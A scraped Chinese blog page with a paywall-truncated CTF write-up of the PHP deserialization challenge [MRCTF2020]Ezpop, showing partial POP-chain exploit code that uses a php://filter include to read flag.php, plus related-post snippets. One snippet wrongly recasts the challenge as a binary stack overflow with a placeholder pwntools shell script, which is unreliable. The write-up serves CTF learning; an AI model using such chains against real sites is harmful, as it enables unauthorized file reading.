[MRCTF2020]Ezpop1

最新推荐文章于 2024-12-07 16:44:20 发布
最新推荐文章于 2024-12-07 16:44:20 发布
阅读量1.3k 收藏 8
点赞数 9
CC 4.0 BY-SA版权
文章标签： android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kw741951/article/details/140909756

打卡题目

代码审计

果我们把modifiy对象的var改为php伪协议，然后成功调用invoke魔术方法就可以读出flag

调用invoke魔术方法需要将对象当做一个函数来使用，这样invoke方法就会自动调用

<?php
 
class Modifier {
    protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        echo "__invoke";
        $this->append($this->var);
    }
}
 
class Show{
    public $source;
    public $str;
    public f

最低0.47元/天 解锁文章

200万优质内容无限畅学
worker..
关注
BUUCTF-[MRCTF2020]Ezpop
qwsn
11-19 2759
0x01、Web 1.BUUCTF-[MRCTF2020]Ezpop 第一步：开启题目环境 图略 第二步：访问链接，发现一段php代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%
[MRCTF2020]Ezpop-1|php序列化
「 虚幻私塾」
06-30 570
1、打开题目获取到源代码信息，如下： 2、我们的最终目标是获取flag.php中的flag信息，因此分析源代码信息，查看哪里可以获取到flag.php文件，发现在Modifier类中存在include($value)，因此想到可以通过php伪协议来获取flag.php的信息，所以现在我们的目的就成了调用append函数，接着往下观察，发现__invoke函数调用了append函数，因此我们只要执行了__invoke函数一样可以获得flag信息，那该怎么执行__invoke函数呢：因此，此时我们应该使用别的函
[MRCTF2020]Ezpop 1
shinygod的博客
03-28 1473
知识点：各种魔术方法，以及构造反序列化pop链子的思路 <?php //flag is in flag.php class Modifier { protected $var="php://filter/resource=flag.php"; public function append($value){ include($value);//漏洞利用点 } public function __invoke(){ //在类被当作函数调用
BUUCTF闯关日记--[MRCTF2020]Ezpop1
qq_64201116的博客
05-14 740
进入页面,熟悉的代码审计 提示了flag.php <?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $sourc.
BUUCTF [MRCTF2020]Ezpop 1
weixin_45642610的博客
04-21 1569
BUUCTF [MRCTF2020]Ezpop 1 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { pr
[MRCTF2020]Ezpop 1(代码审计)
weixin_45577185的博客
10-13 447
太绕了，wuwuwu~ Welcome to index.php <?php //flag is in flag.php //提示：flag在flag.php文件内，猜测是当前网站根目录下的flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 /
「MRCTF2020」- Ezpop
ro4lsc的博客
05-14 3812
「MRCTF2020」- Ezpop 做了一个星期的反序列化，不知道为啥，概念从模糊到清晰再到模糊，看来还是基础不扎实导致的，所以就有了这一篇文章的诞生，思路的一个整理以及POP链的构造需要再熟悉熟悉 俗话说的好，有ez的题目都不ez，那么这个题同样也不ez 重新复习一下php里面反序列化序列化的几大魔术方法 __destruct(类执行完毕以后调用，其最主要的作用是拿来做垃圾回收机制。) __construct(类一执行就开始调用，其作用是拿来初始化一些值。) __toString(在对象当做字符串的
【buuctf】MRCTF2020-Ezpop小白详解
m0_73860001的博客
03-15 1430
真的很详细
Buu [MRCTF2020]Ezpop1
Lakers248_的博客
05-08 755
解题思路
[MRCTF2020]Ezpop 1 (小白能看懂）
saltwy的博客
12-07 717
接下来开始推力，当我们传入一个序列化进去，会自动执行_wakeup()函数，它将属性source传入正则匹配函数preg_match(),所以这里source被当作字符串处理。可以这样理解有没有传入名为pop的参数，如果i没有则创建一个Show类的对象$a,highlight_file()用于显示指定文件的源代码，_FILE_表达的是当前文件。这里提到了_invoke()魔术方法，记一下，当你调用一个对象时，_invoke()方法会被自动调用。来理解一下_construce()和to_String()
pop链反序列化 [MRCTF2020]Ezpop1
m0_75178803的博客
11-25 1375
当 PHP 反序列化一个对象时，它首先读取对象的类名，并创建一个新的对象。如果属性个数比实际属性个数多，则 PHP 会忽略这些多余的属性，直接将对象反序列化到一个不完整的状态。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码，因此如果反序列化的对象包含恶意代码，那么它可能会在反序列化过程中执行。如果我们get方法传入一个pop函数，并且用isset函数检查变量是否被设置，是不是值为null，如果存在且不为null，则反序列化我们传入的pop参数。这个语法意味着，如果构造函数没有收到参数，
[MRCTF2020]Ezpop 1——pop链的反序列化
m0_62879498的博客
05-11 2692
[MRCTF2020]Ezpop 1 进入环境，得到源码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier {
BUUCTF [MRCTF2020]Ezpop1反序列化漏洞 CTF-Web
m0_72904009的博客
06-04 538
BUUCTF [MRCTF2020]Ezpop1反序列化漏洞
web buuctf [MRCTF2020]Ezpop1
weixin_44214568的博客
04-07 676
知识点：1.魔法函数 2.文件包含漏洞 1.开题，php代码审计 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Cr...
[MRCTF2020]Ezpop
qq_43801002的博客
05-14 765
题目： Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; pub
[mrctf2020]ezpop
最新发布
01-19
### mrctf2020 ezpop CTF Challenge Walkthrough #### Problem Description mrctf2020 ezpop 是一个涉及利用栈溢出漏洞来执行任意代码的CTF挑战。该挑战提供了一个二进制文件，参与者需要找到并利用其中的安全漏洞。 #### Vulnerability Analysis 通过对提供的二进制文件 `ezpop` 进行逆向工程分析，发现程序存在栈缓冲区溢出的风险。具体来说，在处理用户输入时未对长度进行适当验证，这使得攻击者可以通过精心构造的数据覆盖返回地址，从而控制EIP寄存器指向恶意shellcode的位置[^1]。 #### Exploitation Steps 为了成功利用此漏洞，可以采取如下方法： - **确定偏移量**：使用pattern_create工具生成唯一字符串填充缓冲区直到覆盖到保存的EBP和EIP位置；再用pattern_offset定位实际发生覆写的地方。 - **寻找合适的gadget链**：由于目标机器上可能存在不可控因素影响直接注入shellcode的方式，因此考虑采用ROP(Return-Oriented Programming)技术构建payload。通过查找可用的小工具(gadgets)，形成能够调用system("/bin/sh")功能的一系列指令序列。 - **绕过NX保护机制**：现代操作系统通常会启用DEP(Data Execution Prevention),即不允许数据页面被执行。此时可借助已泄露的信息泄漏函数指针或其他手段获取libc基址，进而计算得到/bin/sh字符串以及system()函数的确切内存地址。 ```python from pwn import * # 设置远程连接参数 host = 'challenge.ctf.games' port = 31875 # 创建进程对象并与服务端建立TCP连接 conn = remote(host, port) # 发送Payload前先接收初始提示信息 print(conn.recvuntil(b'> ').decode()) # 构造最终载荷 offset = cyclic_find(0x6161616a) # 替换为你自己的偏移值 padding = b'A' * offset ret_address = p32(0xdeadbeef) # 替换成正确的目标地址 rop_chain = ... # 填入ROP chain的具体实现细节 payload = padding + ret_address + rop_chain # 向服务器发送构造好的Payload conn.sendline(payload) # 切换交互模式等待命令执行结果 conn.interactive() ``` 上述Python脚本展示了如何自动化地与远程服务器通信并向其提交特制的有效负载以触发漏洞并获得shell访问权限[^2]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值